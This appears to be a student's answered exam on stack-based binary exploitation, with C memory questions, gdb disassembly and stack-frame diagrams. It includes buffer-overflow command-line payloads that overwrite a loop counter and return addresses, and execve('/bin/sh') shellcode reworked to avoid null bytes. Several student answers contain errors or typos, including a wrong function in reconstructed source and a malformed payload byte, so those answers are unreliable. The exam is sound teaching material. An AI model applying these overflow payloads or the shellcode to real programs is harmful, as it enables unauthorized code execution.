SI485H: Stack Based Binary Exploits and Defenses

06-Week Written Exam

Name ________Ric Rube________

Alpha________m0xdeadbeef________

Question	Points
1	
2	
3	
4	
5	
Total	

1. Consider the following C program below for this question

```
int main(){

  char str[5];
  unsigned int i = 0xdeadbeef;

  memcpy(str,&i,4); // MARK 1

  str[4]=0x0; // MARK 2

  char *p;
  for(p=str;*p;p++){ //MARK 3
    printf("%p : 0x%02hhx\n", p , *p); //MARK 4
  }

  return 0;
}
```

a) (4 POINTS) At **MARK 1**, 4 bytes of the integer **i** are copied to **str**. Why is the **&** necessary with respect to its usage with **i**? What would happen if the **&** were not used?

& refers to the address of the integer i as memcpy expect the address of the data to be copied
If not present, memcpy would attempt to access address 0xdeadbeef

b) (4 POINTS) At **MARK 2**, index 4 of **str** is set to 0x0. Why is this necessary with respect to the for loop at **MARK 3**? If this was not done, how would the output of the program be affected?

For loop expects the sequence to be NULL terminated. If this is not done, the loop may access memory that was not intended.

c) (4 POINTS) At **MARK 4**, the format strings **%02hhx** specifies what format for ***p**? Explain how this relates to the pointer type of **p** being **char ***.

This refers to printing a single byte in hex (half-half of 4 bytes in hex). *p is the dereference of a char * pointer, thus referencing a single byte.

d) (4 POINTS) Assuming that the value of **str** is 0xbfc39447, what is the output of this program? **BE PRECISE!**

0xbfcd9447 : 0xef
0xbfcd9448 : 0xbe
0xbfcd9449 : 0xad
0xbfcd944a : 0xde

e) (4 POINTS) Consider an alternate version of the program: Would the output change? **If so, describe how? If not, describe why not?**

```
#include <stdio.h>
#include <string.h>

int main(){

  unsigned short str[3];
  unsigned int i = 0xdeadbeef;

  memcpy(str,&i,4);

  str[2]= 0x0;

  char *p;
  for(p=str;*p;p++){
    printf("%p : 0x%02hhx\n", p , *p);
  }

  return 0;
}
```

No. The program does not change. Short is 2 bytes, so we have 6 bytes, with first four bytes storing 0xdeabeef and the last two bytes storing 0x000. Thus the output of the program should be exactly the same.

2. Consider the disassembled program below for the function **foo**, **bar**, and **baz**, and the **main()** function in c.

```
(gdb) ds foo
Dump of assembler code for function foo:
   0x08048432 <+0>:     push   ebp
   0x08048433 <+1>:     mov    ebp,esp
   0x08048435 <+3>:     sub    esp,0x4
   0x08048438 <+6>:     mov    eax,DWORD PTR [ebp+0x8]
   0x0804843b <+9>:     mov    DWORD PTR [esp],eax
   0x0804843e <+12>:    call   0x8048428 <bar>
   0x08048443 <+17>:    mov    DWORD PTR [esp],eax
   0x08048446 <+20>:    call   0x804841d <baz>
   0x0804844b <+25>:    leave
   0x0804844c <+26>:    ret
End of assembler dump.
(gdb) ds bar
Dump of assembler code for function bar:
   0x08048428 <+0>:     push   ebp
   0x08048429 <+1>:     mov    ebp,esp
   0x0804842b <+3>:     mov    eax,DWORD PTR [ebp+0x8]
   0x0804842e <+6>:     not    eax
   0x08048430 <+8>:     pop    ebp
   0x08048431 <+9>:     ret
End of assembler dump.
(gdb) ds baz
Dump of assembler code for function baz:
   0x0804841d <+0>:     push   ebp
   0x0804841e <+1>:     mov    ebp,esp
   0x08048420 <+3>:     mov    eax,DWORD PTR [ebp+0x8]
   0x08048423 <+6>:     add    eax,0x1
   0x08048426 <+9>:     pop    ebp
   0x08048427 <+10>:    ret
End of assembler dump.
----------------------------------------------------
 int main(){
   unsigned int f = foo(0x11111111);
   printf("0x%08x\n",f);
 }
```

a) (3 POINTS) In the function **foo**, **CIRCLE** the line of assembly that indicates access to the argument to the function **foo**.

If **foo** had **two arguments** instead of one, at what address would the second argument be placed?

ebp+0xc

b) (4 POINTS) Complete the source code for function **foo** below.

```
int foo( int a ) {

      int r   foo(bar(a));
      return r;

}
```

c) (3 POINTS) Consider the call stack when function **foo** is about to call function **bar**. Complete the **two missing** spots in the stack diagram to the right. Assume the indicated instruction just completed, and also refer to the source code for main.

0x0804843e <foo+9>

ebp+0x8 ->	**0x11111111**
ebp+0x4 ->	0x08048462
ebp ->	0xbfff0408
esp ->	**0x11111111**

<- 4 bytes ->

d) (3 POINTS) Consider the call stack for the function **bar**. Complete the diagram to the right with the **two missing** spots filled in.

0x0804842e <bar+3>

ebp+0x8 ->	**0x11111111**
ebp+0x4 ->	**0x08048443**
ebp,esp ->	0xbfff0430

<- 4 bytes ->

e) (4 POINTS) Why is it the case that function **bar** and **baz** does not subtract from the stack pointer like the function **foo**?

They do not declare local variables.

f) (3 POINTS) What is the output of executing this program, assuming all types are unsigned? ***(Hint: not inverts bytes, so 0x1 in bits is 0001 thus its inverse is 1110)***

0xeeeeeeef

3. Consider the disassembled program below:

```
$ gdb -q q3
Reading symbols from q3...(no debugging symbols found)...done.
(gdb) br foo
Breakpoint 1 at 0x8048453
(gdb) r 5 1
Starting program: ./q3 5 1

Breakpoint 1, 0x08048453 in foo ()
(gdb) ds
Dump of assembler code for function foo:
   0x0804844d <+0>:     push   ebp
   0x0804844e <+1>:     mov    ebp,esp
   0x08048450 <+3>:     sub    esp,0x10
=> 0x08048453 <+6>:     mov    DWORD PTR [ebp-0x4],0x0   r=0
   0x0804845a <+13>:    mov    DWORD PTR [ebp-0x8],0x0   i=0
   0x08048461 <+20>:    jmp    0x8048476 <foo+41>
   0x08048463 <+22>:    mov    eax,DWORD PTR [ebp-0x8]i
   0x08048466 <+25>:    mov    edx,DWORD PTR [ebp+0xc]b
   0x08048469 <+28>:    mov    ecx,eax
   0x0804846b <+30>:    shl    edx,cl       eax=b<<i
   0x0804846d <+32>:    mov    eax,edx
   0x0804846f <+34>:    add    DWORD PTR [ebp-0x4],eax   r+=eax
   0x08048472 <+37>:    add    DWORD PTR [ebp-0x8],0x1   i++
   0x08048476 <+41>:    mov    eax,DWORD PTR [ebp-0x8]
   0x08048479 <+44>:    cmp    eax,DWORD PTR [ebp+0x8]   i<a
   0x0804847c <+47>:    jl     0x8048463 <foo+22>
   0x0804847e <+49>:    mov    eax,DWORD PTR [ebp-0x4]return r
   0x08048481 <+52>:    leave
   0x08048482 <+53>:    ret
End of assembler dump.
```

a) (2 POINTS) Provide the proper **gcc** compilation command such that **q3** will be compiled to not have the **no debugging symbols found** message removed when run under **gdb**?

gcc -g q3.c -o q3

b) (2 POINTS) Currently there is a break point at **foo**. If the user wished to place a break point to occur *after* the **cmp** instruction, produce the gdb command below?

br *0x0804847c

c) (4 POINTS) Provide two gdb commands that would show the value of the register **eax**

p $eax

and the value at the address **ebp+0x8** as hex words.

x/xw $ebp+0x8

d) (3 POINTS) How come the conditional jump **jl** instruction has only one operand, which is the next instruction to jump to, and not anything about the condition? What and where is the condition actually tested and how is **jl** receiving that information?

The cmp instruction sets the processor flags which the jl instruction conditions on.

e) (3 POINTS) Complete the source code for the function **foo**.

```
int foo (int a, int b){

  int r=0,i=0;

  for( ;i<a;i++){
    r += b << i;
  }

  return r;

}
```

f) (3 POINTS) Assume the user issues the command **c 3** since adding the break from **Part B,** occurring right after the cmp operator. Fill in the stack diagram with the correct values at this point in the program assuming **foo(5,1)** was called:

	<- 4 bytes ->
ebp+0xc ->	**0x1**
ebp+0x8 ->	**0x5**
ebp+0x4 ->	0x08048562
ebp ->	0xbfff04dc
ebp-0x4 ->	**0x7**
ebp-0x8 ->	0x3

g) (3 POINTS) After the break point reached in **Part F**, what **single gdb command** can be used to proceed to instruction at 0x0804846b <+30>?

ni 4
nextinstruction 4

7 = 1 + 2 + 4
= 2^0 + 2^1 + 2^4

4. Consider the following disassembled code for function foo:

```
          (gdb) ds foo
          Dump of assembler code for function foo:
           0x0804844d <+0>: push ebp
           0x0804844e <+1>: mov ebp,esp
           0x08048450 <+3>: sub esp,0x48
i=0        0x08048453 <+6>: mov DWORD PTR [ebp-0xc],0x0
           0x0804845a <+13>: mov eax,DWORD PTR [ebp+0x8]
           0x0804845d <+16>: mov DWORD PTR [esp+0x4],eax
           0x08048461 <+20>: lea eax,[ebp-0x2c]
           0x08048464 <+23>: mov DWORD PTR [esp],eax
strcpy()   0x08048467 <+26>: call 0x8048320 <strcpy@plt>
           0x0804846c <+31>: jmp 0x804848c <foo+63>
           0x0804846e <+33>: lea eax,[ebp-0x2c]
           0x08048471 <+36>: mov DWORD PTR [esp+0x8],eax
           0x08048475 <+40>: mov eax,DWORD PTR [ebp-0xc]
printf()   0x08048478 <+43>: mov DWORD PTR [esp+0x4],eax
           0x0804847c <+47>: mov DWORD PTR [esp],0x8048540
           0x08048483 <+54>: call 0x8048310 <printf@plt>
i++        0x08048488 <+59>: add DWORD PTR [ebp-0xc],0x1
i<=2       0x0804848c <+63>: cmp DWORD PTR [ebp-0xc],0x2
           0x08048490 <+67>: jle 0x804846e <foo+33>
           0x08048492 <+69>: leave
           0x08048493 <+70>: ret
          End of assembler dump.
          (gdb) x/s 0x8048540
          0x8048540 "%d: %s\n"
          (gdb) r "Go Navy"
          Starting program: ./main "Go Navy"
          0: Go Navy
          1: Go Navy
          2: Go Navy
          [Inferior 1 (process 3044) exited with code 013
```

a) (4 POINTS) Complete the source code for function **foo**:

```
void foo ( char * str1){

  int i = 0;
  char str2[0x20]; //0x2c-0xc
  strcpy(str2,str1);
  while(i<=2){
      printf("%d:%s\n",i,str2);
      i++
  }
}
```

b) (2 POINTS) Consider executing the program **main** which calls **foo** using the command line argument like **foo(argv[1])**.

./main `python -c "print 'A'*x"`

At what value of **x** does the functionality of the loop change?

0x21 or 33

c) (3 Points) **Explain** your previous answer:

After 0x21 bytes of A's , the value of I at ebp-0xc will no longer be 0. With 0x20 bytes, will just write zero there and not change program.

d) (4 POINTS) Complete the command line arguments below such that the loop will execute exactly **5 times** as opposed to the 3 times it is currently executing:

./main `python -c " **print 'A'*0x20 + '\xfe\xff\xff\xff'** "`

\xfe\xff\xff\xff = 0xfffffffe = -2

e) (4 POINTS) Consider the fact the function **bar** is at address **0x0804844d** and the function **baz** is at address **0x0804892c**. Write a command line argument below such that upon return from **foo**, first the function **bar** would execute *followed* by the function **baz**:

./main `python -c " **print 'A'*0x30+ '\x4d\x84\x04\x\08' + '\x2c\x89\x04\x08'** "`

0x30 bytes because 0x2c+0x4=0x30 to reach return address.

f) (3 POINTS) If the function **bar** was at address **0x08048a00** instead of the one described above, would the exploit still work? If so, explain why. If not, explain why not.

No, because then there would be a leading NULL byte in little endian: '\x00\x8a\x04\x08'

5. Consider the following shell code dissably from objdump:

```
08048060 <_start>:
 8048060:   eb 20                 jmp    8048082 <callback>

08048062 <dowork>:
 8048062:   5e                     pop    esi       ;MARK 1
 8048063:   6a 00                  push   0x0
 8048065:   56                     push   esi
 8048066:   ba 00 00 00 00         mov    edx,0x0
 804806b:   89 e1                  mov    ecx,esp   ;MARK 2
 804806d:   89 f3                  mov    ebx,esi
 804806f:   b8 0b 00 00 00         mov    eax,0xb
 8048074:   cd 80                  int    0x80      ;MARK 3
 8048076:   bb 00 00 00 00         mov    ebx,0x0
 804807b:   b8 01 00 00 00         mov    eax,0x1
 8048080:   cd 80                  int    0x80      ;MARK 4

08048082 <callback>:
 8048082:   e8 db ff ff ff         call   8048062 <dowork> ; MARK 5
 8048087:   2f 62 69 6e 2f 73 68 00 db    /bin/sh\0
```

a) (3 POINTS) The following code using a **jump-callback** to avoid a fixed reference. Explain why this is necessary for shell code as compared to using the named reference to the shell code, e.g., **shell**, like in the instruction below:

shell: db "/bin/sh/",0x0

With fixed reference, during exploit don't know where the string will actually be.

b) (3 POINTS) After the instruction at **MARK 5** completes, what value is pushed onto the top of the stack and is popped into the **esi** register? Explain why and how this value was pushed onto the stack.

0x8048087 and this value gets pushed onto the stack as the return address for the call function

c) (4 POINTS) At **MARK 2** the current stack pointer value (as stored in the **esp** register) is stored in register **ecx.** What part of the **execve()** call does this pointer value represent? **DRAW a diagram to support your explanation.**

This is the argv array:

```
                 ______
                | null |
ecx-> esp->     |______|--->"/bin/bash
```

d) (3 POINTS) If we were to use this shell code in an exploit like so:

vulnerable_program $(printf `./hexify.sh shellcode`)

where **vulnerable_program** used a **strcpy()**, would this be an successful exploit or will it fail? **Explain why or why not.**

No, Null bytes would stop the copy operation for strcpy()

e) (5 POINTS) Corrected the **dowork** section of the shell code to the right so that would produce a successful exploit in the example **vulnerable_program** above.

```
pop    esi
~~push   0x0~~           xor eax,eax
                         push eax
push   esi
~~mov    edx,0x0~~       xor edx,edx
mov    ecx,esp
mov    ebx,esi
~~mov    eax,0xb~~       nov al, 0xb
int    0x80
~~mov    ebx,0x0~~       xor ebx,ebx
~~mov    eax,0x1~~       xor eax,eax
                         mov al,0x1 (inc eax)
int    0x80
```

f) (2 POINTS) What system call is associated with the interrupt instruction at **MARK 4**?

exit(0)